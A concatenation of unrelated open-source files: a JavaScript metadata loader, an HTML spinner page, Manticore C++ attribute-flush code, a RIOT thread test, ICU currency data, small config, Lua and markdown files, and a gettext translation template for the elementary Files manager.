if (key === 'type' && value === 'Cell Line') {
isReady = true
// this is because 'type Cell Line' is required per ENCODE cell line standard
}
} else if (!line) {
// empty line,
// if isReady = true, then this entry is done
if (isReady) {
break
}
}
}
return isReady ? result : null
}
give.MetaDataEntries.prototype._responseHandler = function (response) {
if (response) {
// file is available
var metaTxtArray = response.split('\n') // break into lines
while (metaTxtArray.length > 0) {
var newEntry = _strArrayToMetaEntry(metaTxtArray)
if (newEntry) {
if (!this.entries[newEntry.organism.toLowerCase()]) {
this.entries[newEntry.organism.toLowerCase()] = {}
}
this.entries[newEntry.organism.toLowerCase()][newEntry.term] = newEntry
}
}
}
give._verbConsole.info('Meta data loaded.')
return this
}
give.MetaDataEntries.prototype.findMeta = function (organism, term, key) {
if (this.entries[organism.toLowerCase()] && this.entries[organism.toLowerCase()][term]) {
return this.entries[organism.toLowerCase()][term][key]
}
return null
}
give.MetaDataEntries.defaultUrl = give.Host +
(give.ServerPath || '/') +
(give.Meta_KeyTarget || 'assets/encodeDCC/cv.ra')
give.mainMetaDataEntries = new give.MetaDataEntries()
return give
})(GIVe || {})
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Loader</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css">
<link rel="stylesheet" href="/js/loader/css/style.css">
</head>
<body>
<div aria-busy="true" aria-label="Loading" role="progressbar" class="container">
<div class="swing">
<div class="swing-l"></div>
<div></div>
<div></div>
<div></div>
<div></div>
<div></div>
<div class="swing-r"></div>
</div>
<div class="shadow">
<div class="shadow-l"></div>
<div></div>
<div></div>
<div></div>
<div></div>
<div></div>
<div class="shadow-r"></div>
</div>
</div>
<script src="/js/loader/js/index.js"></script>
</body>
</html>
| {
"pile_set_name": "Github"
} |
//
// Copyright (c) 2017-2020, Manticore Software LTD (http://manticoresearch.com)
// Copyright (c) 2001-2016, Andrew Aksyonoff
// Copyright (c) 2008-2016, Sphinx Technologies Inc
// All rights reserved
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License. You should have
// received a copy of the GPL license along with this program; if you
// did not, you can find it at http://www.gnu.org/
//
#include "taskflushattrs.h"
#include "searchdtask.h"
#include "searchdaemon.h"
#include "coroutine.h"
//////////////////////////////////////////////////////////////////////////
struct FlushState_t
{
CSphAutoEvent m_tFlushFinished;
std::atomic<int> m_iDemandEvents {0}; // if worker need to set the event
int64_t m_iLastCheckFinishedTime = 0;
int m_iFlushTag = 0; ///< last flushed tag
};
static FlushState_t g_tFlush;
enum class Saved_e {
NOTHING, // no dirty indexes found, nothing saved
NOT_ALL, // not all indexes saved (some failed)
ALL, // whole save successfully completed
};
static Saved_e CheckSaveIndexes ()
{
CSphString sError;
auto eSaveState = Saved_e::ALL;
bool bDirty = false;
for ( RLockedServedIt_c it ( g_pLocalIndexes ); it.Next (); )
{
ServedDescRPtr_c pServed ( it.Get ());
if ( pServed && pServed->m_pIndex->GetAttributeStatus ())
{
bDirty = true;
if ( !pServed->m_pIndex->SaveAttributes ( sError ))
{
sphWarning ( "index %s: attrs save failed: %s", it.GetName ().cstr (), sError.cstr ());
eSaveState = Saved_e::NOT_ALL;
}
}
}
g_tFlush.m_iLastCheckFinishedTime = sphMicroTimer ();
if ( !bDirty )
return Saved_e::NOTHING;
++g_tFlush.m_iFlushTag;
return eSaveState;
}
/* About setting event g_tFlush.m_tFlushFinished
* flushing attributes may be engaged in two ways: either by timer (scheduled), either by command 'flush attributes'.
* First needs nothing - it just do the things and re-schedule itself.
* Second needs event to trace end of operation.
* So, there are 2 slightly different operations: 'just flush' and 'flush and signal'.
* For this kind of task we may have at most 1 job in queue, (one which is currently running - already out of queue).
* If saving job is in progress, you may schedule at most 1 more; others will be dropped.
* If you issued 'flush attributes' and it is in progress, and then usual timeouted task happened and enqueued
* the next saving right after one in work, any other try to call 'flush attributes' would be just dropped and then
* deadlocked. But instead we increase the counter of awaited events. And when the task in queue begin to work
* (despite the source - issued both by demand or by timeout), it memorize the number of awaiters and on finish fires
* demanded num of events. So, if one flush is in work another is scheduled - you may run any num of extra 'flush
* attributes' and this scheduled task will resolve all of them a time.
*/
static void SaveIndexesMT ( void* = nullptr )
{
int iFireOnExit = g_tFlush.m_iDemandEvents.load ( std::memory_order_acquire );
g_tFlush.m_iDemandEvents.fetch_sub ( iFireOnExit, std::memory_order_release );
if ( iFireOnExit )
sphLogDebug ( "attrflush: doing forced check for %d waiters", iFireOnExit );
else
sphLogDebug ( "attrflush: doing periodic check" );
auto pDesc = PublishSystemInfo ( "SAVE indexes" );
if ( CheckSaveIndexes ()==Saved_e::NOTHING )
sphLogDebug ( "attrflush: no dirty indexes found" );
for ( int i=0; i<iFireOnExit; ++i )
g_tFlush.m_tFlushFinished.SetEvent ();
ScheduleFlushAttrs ();
}
void EngageSaveIndexes ()
{
static TaskID iSaveTask = -1;
if ( iSaveTask<0 )
iSaveTask = TaskManager::RegisterGlobal ( "Save indexes", SaveIndexesMT,nullptr,1,1);
TaskManager::StartJob ( iSaveTask );
}
int CommandFlush () EXCLUDES ( MainThread )
{
// force a check, and wait it until completes
sphLogDebug ( "attrflush: forcing check, tag=%d", g_tFlush.m_iFlushTag );
g_tFlush.m_iDemandEvents.fetch_add(1,std::memory_order_release);
EngageSaveIndexes ();
g_tFlush.m_tFlushFinished.WaitEvent ();
sphLogDebug ( "attrflush: check finished, tag=%d", g_tFlush.m_iFlushTag );
return g_tFlush.m_iFlushTag;
}
static int64_t g_iAttrFlushPeriodUs = 0; // in useconds; 0 means "do not flush"
void SetAttrFlushPeriod ( int64_t iPeriod )
{
g_iAttrFlushPeriodUs = iPeriod;
}
void ScheduleFlushAttrs ()
{
if ( !g_iAttrFlushPeriodUs )
return;
static TaskID iScheduledSave = -1;
if ( iScheduledSave<0 )
{
iScheduledSave = TaskManager::RegisterGlobal ( "Sheduled save indexes",
[] (void*) // save task lambda
{
if ( (g_tFlush.m_iLastCheckFinishedTime + g_iAttrFlushPeriodUs - 1000 )>sphMicroTimer() )
ScheduleFlushAttrs ();
else
SaveIndexesMT();
}, nullptr);
}
if ( !g_tFlush.m_iLastCheckFinishedTime )
g_tFlush.m_iLastCheckFinishedTime = sphMicroTimer ();
TaskManager::ScheduleJob ( iScheduledSave, g_tFlush.m_iLastCheckFinishedTime + g_iAttrFlushPeriodUs);
}
// called from main shutdown and expects problem reporting
bool FinallySaveIndexes ()
{
bool bRes;
Threads::CallCoroutine ( [&bRes] { bRes = CheckSaveIndexes ()!=Saved_e::NOT_ALL; });
return bRes;
} | {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2013 INRIA
*
* This file is subject to the terms and conditions of the GNU Lesser
* General Public License v2.1. See the file LICENSE in the top level
* directory for more details.
*/
/**
* @ingroup tests
* @{
*
* @file
* @brief Thread test application
*
* @author Oliver Hahm <[email protected]>
*
* @}
*/
#include <stdio.h>
#include "thread.h"
char second_thread_stack[THREAD_STACKSIZE_MAIN];
char third_thread_stack[THREAD_STACKSIZE_MAIN];
void *fourth_thread(void *arg)
{
(void) arg;
puts("4th: starting");
puts("4th: exiting");
return NULL;
}
void *third_thread(void *arg)
{
(void) arg;
puts("3rd: starting");
puts("3rd: exiting");
return NULL;
}
void *second_thread(void *arg)
{
(void) arg;
puts("2nd: starting");
if ((thread_create(
third_thread_stack,
sizeof(third_thread_stack),
THREAD_PRIORITY_MAIN - 2,
THREAD_CREATE_STACKTEST,
third_thread,
NULL,
"nr3")
) == -1) {
puts("2nd: Error creating 3rd thread.");
}
/* thread should have returned already */
if ((thread_create(
third_thread_stack,
sizeof(third_thread_stack),
THREAD_PRIORITY_MAIN - 1,
THREAD_CREATE_WOUT_YIELD | THREAD_CREATE_STACKTEST,
fourth_thread,
NULL,
"nr4")
) == -1) {
puts("2nd: Error creating 4th thread.");
}
puts("2nd: exiting");
return NULL;
}
int main(void)
{
puts("main: starting");
if ((thread_create(
second_thread_stack,
sizeof(second_thread_stack),
THREAD_PRIORITY_MAIN - 1,
THREAD_CREATE_WOUT_YIELD | THREAD_CREATE_STACKTEST,
second_thread,
NULL,
"nr2")
) == -1) {
puts("main: Error creating 2nd thread.");
}
puts("main: exiting");
return 0;
}
| {
"pile_set_name": "Github"
} |
// ***************************************************************************
// *
// * Copyright (C) 2010 International Business Machines
// * Corporation and others. All Rights Reserved.
// * Tool: com.ibm.icu.dev.tool.cldr.LDML2ICUConverter.java
// * Source File:<path>/common/main/uz_Latn.xml
// *
// ***************************************************************************
/**
* ICU <specials> source: <path>/xml/main/uz_Latn.xml
*/
uz_Latn{
%%ParentIsRoot:int{1}
Currencies{
BRL{
"R$",
"Brazil reali",
}
CNY{
"CN¥",
"Xitoy yuani",
}
EUR{
"€",
"Evro",
}
GBP{
"£",
"Ingliz funt sterlingi",
}
INR{
"Rs",
"Hind rupiyasi",
}
JPY{
"JP¥",
"Yapon yenasi",
}
RUB{
"RUB",
"Rus rubli",
}
USD{
"US$",
"AQSH dollari",
}
UZS{
"soʿm",
"Oʿzbekiston soʿm",
}
}
Version{"2.0.47.68"}
}
| {
"pile_set_name": "Github"
} |
# RDGPA4 - Castlevania Judgment
[Core]
# Values set here will override the main Dolphin settings.
[EmuState]
# The Emulation State. 1 is worst, 5 is best, 0 is not set.
EmulationStateId = 4
EmulationIssues =
[OnLoad]
# Add memory patches to be loaded once on boot here.
[OnFrame]
# Add memory patches to be applied every frame here.
[ActionReplay]
# Add action replay cheats here.
| {
"pile_set_name": "Github"
} |
These files are compiled dot templates from dot folder.
Do NOT edit them directly, edit the templates and run `npm run build` from main ajv-keywords folder.
| {
"pile_set_name": "Github"
} |
[hi]
[HI]: /url
| {
"pile_set_name": "Github"
} |
terraform {
required_version = ">= 0.12"
}
| {
"pile_set_name": "Github"
} |
-----------------------------------
-- Area: Port San d'Oria
-- NPC: Apstaule
-- Not used cutscenes: 541
-----------------------------------
local ID = require("scripts/zones/Port_San_dOria/IDs");
require("scripts/globals/quests");
require("scripts/globals/shop");
-----------------------------------
function onTrade(player,npc,trade)
-- "Flyers for Regine" conditional script
local count = trade:getItemCount();
local MagicFlyer = trade:hasItemQty(532,1);
local AuctionParcel = trade:hasItemQty(594,1);
if (MagicFlyer == true and count == 1) then
local FlyerForRegine = player:getQuestStatus(SANDORIA,dsp.quest.id.sandoria.FLYERS_FOR_REGINE);
if (FlyerForRegine == 1) then
player:messageSpecial(ID.text.FLYER_REFUSED);
end
elseif (AuctionParcel == true and count == 1) then
local TheBrugaireConsortium = player:getQuestStatus(SANDORIA,dsp.quest.id.sandoria.THE_BRUGAIRE_CONSORTIUM);
if (TheBrugaireConsortium == 1) then
player:tradeComplete();
player:startEvent(540);
player:setCharVar("TheBrugaireConsortium-Parcels", 21);
end
end
end;
function onTrigger(player,npc)
player:startEvent(542);
end;
function onEventUpdate(player,csid,option)
end;
function onEventFinish(player,csid,option)
end;
| {
"pile_set_name": "Github"
} |
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2020-08-26 21:49+0000\n"
"PO-Revision-Date: 2016-08-02 15:46+0000\n"
"Last-Translator: Launchpad Translations Administrators <Unknown>\n"
"Language-Team: LANGUAGE <[email protected]>\n"
"Language: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Launchpad-Export-Date: 2017-06-11 06:29+0000\n"
"X-Generator: Launchpad (build 18402)\n"
#: src/Application.vala:149
msgid "Show the version of the program"
msgstr ""
#: src/Application.vala:151
msgid "Open one or more URIs, each in their own tab"
msgstr ""
#: src/Application.vala:153 src/View/AbstractDirectoryView.vala:1860
msgid "New Window"
msgstr ""
#: src/Application.vala:155
msgid "Quit Files"
msgstr ""
#: src/Application.vala:157
msgid "Enable debug logging"
msgstr ""
#: src/Application.vala:160
msgid "[URI…]"
msgstr ""
#: src/Application.vala:163
msgid ""
"\n"
"\n"
"Browse the file system with the file manager"
msgstr ""
#: src/Application.vala:191
msgid "--quit cannot be used with URIs."
msgstr ""
#: src/ProgressUIHandler.vala:124 src/ProgressUIHandler.vala:186
msgid "File Operations"
msgstr ""
#. TRANSLATORS: %s will be replaced by the title of the file operation
#: src/ProgressUIHandler.vala:180
#, c-format
msgid "Completed %s"
msgstr ""
#: src/ProgressUIHandler.vala:183
msgid "All file operations have ended"
msgstr ""
#: src/Dialogs/AbstractPropertiesDialog.vala:49
msgid "Info"
msgstr ""
#: src/Dialogs/AbstractPropertiesDialog.vala:59
msgid "General"
msgstr ""
#: src/Dialogs/AbstractPropertiesDialog.vala:80 libcore/StockDialogs.vala:101
msgid "Close"
msgstr ""
#: src/Dialogs/AbstractPropertiesDialog.vala:144
msgid "Device Usage"
msgstr ""
#: src/Dialogs/AbstractPropertiesDialog.vala:164
msgid "Capacity:"
msgstr ""
#: src/Dialogs/AbstractPropertiesDialog.vala:165
#: src/Dialogs/AbstractPropertiesDialog.vala:168
#: src/Dialogs/AbstractPropertiesDialog.vala:171
#: src/Dialogs/PropertiesWindow.vala:451 src/Dialogs/PropertiesWindow.vala:490
msgid "Unknown"
msgstr ""
#: src/Dialogs/AbstractPropertiesDialog.vala:167
msgid "Available:"
msgstr ""
#: src/Dialogs/AbstractPropertiesDialog.vala:170
msgid "Used:"
msgstr ""
#: src/Dialogs/ChooseAppDialog.vala:43
msgid "Set as default"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:123
#: src/View/AbstractDirectoryView.vala:1970 src/View/PopupMenuBuilder.vala:81
msgid "Properties"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:234
msgid "Permissions"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:255
#, c-format
msgid "%i file could not be read due to permissions or other errors."
msgid_plural "%i files could not be read due to permissions or other errors."
msgstr[0] ""
msgstr[1] ""
#: src/Dialogs/PropertiesWindow.vala:259
msgid "Actual Size Could Be Larger"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:279 src/Dialogs/PropertiesWindow.vala:298
msgid "unknown"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:462
msgid "Loading…"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:496
msgid "Could not be determined"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:522 libcore/FileConflictDialog.vala:129
#: libcore/FileConflictDialog.vala:167
msgid "Size:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:529 libcore/ConnectServerDialog.vala:175
#: libcore/FileConflictDialog.vala:139 libcore/FileConflictDialog.vala:177
msgid "Type:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:532
msgid "Contains:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:556
msgid "Created:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:567
msgid "Modified:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:579
msgid "Deleted:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:589
msgid "Media type:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:596
msgid "Resolution:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:604
#: src/Dialogs/VolumePropertiesWindow.vala:80
msgid "Location:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:614
msgid "Target:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:622
msgid "Original Location:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:645
#: src/View/AbstractDirectoryView.vala:1938
msgid "Other Application…"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:665
msgid "Open with:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:930 src/Dialogs/PropertiesWindow.vala:940
msgid "Owner:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:934 src/Dialogs/PropertiesWindow.vala:943
msgid "Group:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:946
msgid "Everyone:"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:1227
#, c-format
msgid "%u subfolder"
msgid_plural "%u subfolders"
msgstr[0] ""
msgstr[1] ""
#: src/Dialogs/PropertiesWindow.vala:1231
#: src/Dialogs/PropertiesWindow.vala:1253
#, c-format
msgid "%u file"
msgid_plural "%u files"
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: folders, files
#. TRANSLATORS The %s will be translated into "x hours, y minutes"
#: src/Dialogs/PropertiesWindow.vala:1236 libcore/FileUtils.vala:909
#, c-format
msgid "%s, %s"
msgstr ""
#: src/Dialogs/PropertiesWindow.vala:1249 src/View/Widgets/OverlayBar.vala:218
#, c-format
msgid "%u folder"
msgid_plural "%u folders"
msgstr[0] ""
msgstr[1] ""
#: src/Dialogs/PropertiesWindow.vala:1258
#, c-format
msgid "%u selected item"
msgid_plural "%u selected items"
msgstr[0] ""
msgstr[1] ""
#. TRANSLATORS: total (folders, files)
#: src/Dialogs/PropertiesWindow.vala:1260
#, c-format
msgid "%s (%s, %s)"
msgstr ""
#: src/Dialogs/VolumePropertiesWindow.vala:28
msgid "Disk Properties"
msgstr ""
#: src/Dialogs/VolumePropertiesWindow.vala:44 src/View/Sidebar.vala:654
#: libwidgets/Resources.vala:68
msgid "File System"
msgstr ""
#: src/Dialogs/VolumePropertiesWindow.vala:90
msgid "Format:"
msgstr ""
#: src/Utils/MimeActions.vala:283
msgid "Multiple file types selected"
msgstr ""
#: src/Utils/MimeActions.vala:284
msgid "No single app can open all these types of file"
msgstr ""
#: src/Utils/MimeActions.vala:311
msgid "Failed to open files"
msgstr ""
#: src/Utils/MimeActions.vala:321
msgid "Could not open URIs"
msgstr ""
#: src/Utils/MimeActions.vala:324
msgid "Could not open files or URIs with this app"
msgstr ""
#: src/View/Window.vala:542 src/View/Window.vala:552
msgid "(as Administrator)"
msgstr ""
#: src/View/ListView.vala:26
msgid "Filename"
msgstr ""
#: src/View/ListView.vala:27 src/View/AbstractDirectoryView.vala:2172
msgid "Size"
msgstr ""
#: src/View/ListView.vala:28 src/View/AbstractDirectoryView.vala:2177
msgid "Type"
msgstr ""
#: src/View/ListView.vala:29
msgid "Modified"
msgstr ""
#: src/View/DirectoryNotFound.vala:27 src/View/ViewContainer.vala:404
msgid "This Folder Does Not Exist"
msgstr ""
#: src/View/DirectoryNotFound.vala:28
#, c-format
msgid "The folder \"%s\" can't be found."
msgstr ""
#: src/View/DirectoryNotFound.vala:30
msgid "Create"
msgstr ""
#: src/View/DirectoryNotFound.vala:30
#, c-format
msgid "Create the folder \"%s\""
msgstr ""
#: src/View/DirectoryNotFound.vala:45
msgid "Failed to create the folder"
msgstr ""
#: src/View/AbstractDirectoryView.vala:821
#: src/View/AbstractDirectoryView.vala:1132
msgid "Cannot execute this file"
msgstr ""
#. TRANSLATORS: '%s' is a quoted placehorder for the name of a file. It can be moved but not omitted
#: src/View/AbstractDirectoryView.vala:831
#, c-format
msgid "“%s” must be moved from Trash before opening"
msgstr ""
#: src/View/AbstractDirectoryView.vala:832
msgid ""
"Files inside Trash cannot be opened. To open this file, it must be moved "
"elsewhere."
msgstr ""
#: src/View/AbstractDirectoryView.vala:847
msgid "Cannot open this file"
msgstr ""
#: src/View/AbstractDirectoryView.vala:860
msgid "Cannot identify file type to open"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1578
msgid "Cannot drop this file"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1579
msgid "Invalid file name provided"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1854
msgid "New Tab"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1874
msgid "Run"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1881
#, c-format
msgid "Open in %s"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1950
msgid "Open in"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1952
#: src/View/Widgets/BreadcrumbsEntry.vala:491
msgid "Open with"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1958
msgid "Paste"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1963 src/View/PopupMenuBuilder.vala:85
msgid "Add to Bookmarks"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1978
msgid "Cut"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1985
msgid "Copy"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1992
msgid "Move to Trash"
msgstr ""
#: src/View/AbstractDirectoryView.vala:1997
msgid "Delete permanently"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2002
msgid "Restore from Trash"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2013
msgid "Open Parent Folder"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2016
msgid "Remove from History"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2032
msgid "Rename…"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2039
msgid "Copy as Link"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2057
msgid "Paste Link into Folder"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2059
msgid "Paste into Folder"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2087
msgid "Show Hidden Files"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2090
msgid "Show Remote Thumbnails"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2093
msgid "Hide Thumbnails"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2113
msgid "Paste Link"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2167
msgid "Name"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2182
msgid "Date"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2187
msgid "Reversed Order"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2190
msgid "Folders Before Files"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2202
msgid "Sort by"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2210
msgid "Folder"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2216
msgid "Empty File"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2267
msgid "New"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2504
#, c-format
msgid "Untitled %s"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2866
#: src/View/AbstractDirectoryView.vala:3067
msgid "Cannot remove files from here"
msgstr ""
#: src/View/AbstractDirectoryView.vala:2867
#: src/View/AbstractDirectoryView.vala:3052
#: src/View/AbstractDirectoryView.vala:3068
msgid "You do not have permission to change this location"
msgstr ""
#: src/View/AbstractDirectoryView.vala:3021
msgid "Cannot copy files that are in the trash"
msgstr ""
#: src/View/AbstractDirectoryView.vala:3022
msgid "Cutting the selection instead"
msgstr ""
#: src/View/AbstractDirectoryView.vala:3051
msgid "Cannot paste files here"
msgstr ""
#: src/View/ViewContainer.vala:383 src/View/Sidebar.vala:587
msgid "Home"
msgstr ""
#: src/View/ViewContainer.vala:405
msgid "You cannot create a folder here."
msgstr ""
#: src/View/ViewContainer.vala:408
msgid "The network is unavailable"
msgstr ""
#: src/View/ViewContainer.vala:409
msgid "A working network is needed to reach this folder"
msgstr ""
#: src/View/ViewContainer.vala:412
msgid "This Folder Does Not Belong to You"
msgstr ""
#: src/View/ViewContainer.vala:413
msgid "You don't have permission to view this folder."
msgstr ""
#: src/View/ViewContainer.vala:415
msgid "Unable to Mount Folder"
msgstr ""
#: src/View/ViewContainer.vala:416
msgid "Could not connect to the server for this folder."
msgstr ""
#: src/View/ViewContainer.vala:419
msgid "Unable to Display Folder Contents"
msgstr ""
#: src/View/ViewContainer.vala:420
msgid "The operation timed out."
msgstr ""
#: src/View/ViewContainer.vala:422
msgid "Unable to Show Folder"
msgstr ""
#: src/View/ViewContainer.vala:423
msgid "The server for this folder could not be located."
msgstr ""
#: src/View/ViewContainer.vala:434
msgid "File not Found"
msgstr ""
#: src/View/ViewContainer.vala:435
msgid "The file selected no longer exists."
msgstr ""
#: src/View/Sidebar.vala:573 libwidgets/View/SearchResults.vala:248
msgid "Bookmarks"
msgstr ""
#: src/View/Sidebar.vala:574
msgid "Common places plus saved folders and files"
msgstr ""
#: src/View/Sidebar.vala:594
msgid "Open your personal folder"
msgstr ""
#: src/View/Sidebar.vala:609
msgid "View the list of recently used files"
msgstr ""
#: src/View/Sidebar.vala:635 libwidgets/Resources.vala:65
msgid "Trash"
msgstr ""
#: src/View/Sidebar.vala:642
msgid "Open the Trash"
msgstr ""
#: src/View/Sidebar.vala:647
msgid "Devices"
msgstr ""
#: src/View/Sidebar.vala:648
msgid "Internal and connected storage devices"
msgstr ""
#: src/View/Sidebar.vala:777 libwidgets/Resources.vala:62
msgid "Network"
msgstr ""
#: src/View/Sidebar.vala:778
msgid "Devices and places available via a network"
msgstr ""
#: src/View/Sidebar.vala:810
msgid "Entire Network"
msgstr ""
#: src/View/Sidebar.vala:817
msgid "Browse the contents of the network"
msgstr ""
#: src/View/Sidebar.vala:820
msgid "Connect Server"
msgstr ""
#: src/View/Sidebar.vala:821
msgid "Connect to a network server"
msgstr ""
#. TRANSLATORS: The first string placeholder '%s' represents a device label, the second '%s' represents a mount name.
#: src/View/Sidebar.vala:892
#, c-format
msgid "%s on %s"
msgstr ""
#: src/View/Sidebar.vala:979
#, c-format
msgid "%s free"
msgstr ""
#: src/View/Sidebar.vala:980
#, c-format
msgid "%s used of %s"
msgstr ""
#: src/View/Sidebar.vala:1448
#, c-format
msgid "Error mounting volume %s"
msgstr ""
#: src/View/Sidebar.vala:1463
#, c-format
msgid "Unable to start %s"
msgstr ""
#: src/View/Sidebar.vala:1653 libcore/StockDialogs.vala:31
msgid "Empty _Trash"
msgstr ""
#: src/View/Slot.vala:31
msgid "This Folder Is Empty"
msgstr ""
#: src/View/Slot.vala:32
msgid "Trash Is Empty"
msgstr ""
#: src/View/Slot.vala:33
msgid "There Are No Recent Files"
msgstr ""
#: src/View/Slot.vala:34
msgid "Access Denied"
msgstr ""
#: src/View/PrivacyModeOn.vala:28
msgid "Privacy mode is on"
msgstr ""
#: src/View/PrivacyModeOn.vala:28
msgid "No recent files are remembered"
msgstr ""
#: src/View/PrivacyModeOn.vala:30
msgid "Change security settings"
msgstr ""
#: src/View/PrivacyModeOn.vala:31
msgid "Open the system security and privacy settings app"
msgstr ""
#: src/View/PopupMenuBuilder.vala:49
msgid "Open"
msgstr ""
#: src/View/PopupMenuBuilder.vala:53
msgid "Open in New _Tab"
msgstr ""
#: src/View/PopupMenuBuilder.vala:57
msgid "Open in New _Window"
msgstr ""
#: src/View/PopupMenuBuilder.vala:61
msgid "Remove"
msgstr ""
#: src/View/PopupMenuBuilder.vala:65
msgid "Rename"
msgstr ""
#: src/View/PopupMenuBuilder.vala:69
msgid "_Mount"
msgstr ""
#: src/View/PopupMenuBuilder.vala:73
msgid "_Unmount"
msgstr ""
#: src/View/PopupMenuBuilder.vala:77
msgid "_Eject"
msgstr ""
#: src/View/Widgets/BreadcrumbsEntry.vala:135
#: src/View/Widgets/LocationBar.vala:198
msgid "Search or Type Path"
msgstr ""
#: src/View/Widgets/BreadcrumbsEntry.vala:448
msgid "Open in New Tab"
msgstr ""
#: src/View/Widgets/BreadcrumbsEntry.vala:455
msgid "Open in New Window"
msgstr ""
#: src/View/Widgets/BreadcrumbsEntry.vala:498
msgid "Open in Other Application…"
msgstr ""
#: src/View/Widgets/HeaderBar.vala:66
#: filechooser-module/FileChooserDialog.vala:75
msgid "Previous"
msgstr ""
#: src/View/Widgets/HeaderBar.vala:73
#: filechooser-module/FileChooserDialog.vala:79
msgid "Next"
msgstr ""
#: src/View/Widgets/LocationBar.vala:194
msgid "Reload this folder"
msgstr ""
#: src/View/Widgets/LocationBar.vala:207
msgid "Searching…"
msgstr ""
#: src/View/Widgets/OverlayBar.vala:209
#, c-format
msgid "%u folders"
msgstr ""
#: src/View/Widgets/OverlayBar.vala:211 src/View/Widgets/OverlayBar.vala:221
#, c-format
msgid " and %u other item (%s) selected"
msgstr ""
#: src/View/Widgets/OverlayBar.vala:212 src/View/Widgets/OverlayBar.vala:222
#, c-format
msgid " and %u other items (%s) selected"
msgstr ""
#: src/View/Widgets/OverlayBar.vala:215 src/View/Widgets/OverlayBar.vala:225
msgid " selected"
msgstr ""
#: src/View/Widgets/OverlayBar.vala:228
#, c-format
msgid "%u items selected (%s)"
msgstr ""
#. TRANSLATORS: %u will be substituted by the number of sub folders
#: src/View/Widgets/OverlayBar.vala:272
#, c-format
msgid "%u sub-folder, "
msgstr ""
#: src/View/Widgets/OverlayBar.vala:272
#, c-format
msgid "%u sub-folders, "
msgstr ""
#. TRANSLATORS: %u will be substituted by the number of readable files
#: src/View/Widgets/OverlayBar.vala:278
#, c-format
msgid "%u file, "
msgstr ""
#: src/View/Widgets/OverlayBar.vala:278
#, c-format
msgid "%u files, "
msgstr ""
#. TRANSLATORS: %s will be substituted by the approximate disk space used by the folder
#: src/View/Widgets/OverlayBar.vala:288
#, c-format
msgid "%s approx."
msgstr ""
#. TRANSLATORS: 'size' refers to disk space
#: src/View/Widgets/OverlayBar.vala:291
msgid "unknown size"
msgstr ""
#. TRANSLATORS: %u will be substituted by the number of unreadable files
#: src/View/Widgets/OverlayBar.vala:295
#, c-format
msgid "%u file not readable"
msgstr ""
#: src/View/Widgets/OverlayBar.vala:295
#, c-format
msgid "%u files not readable"
msgstr ""
#: src/View/Widgets/PermissionButton.vala:38
msgid "Read"
msgstr ""
#: src/View/Widgets/PermissionButton.vala:42
msgid "Write"
msgstr ""
#: src/View/Widgets/PermissionButton.vala:46
msgid "Execute"
msgstr ""
#: libcore/ConnectServerDialog.vala:46
msgid "Public FTP"
msgstr ""
#: libcore/ConnectServerDialog.vala:52
msgid "FTP (with login)"
msgstr ""
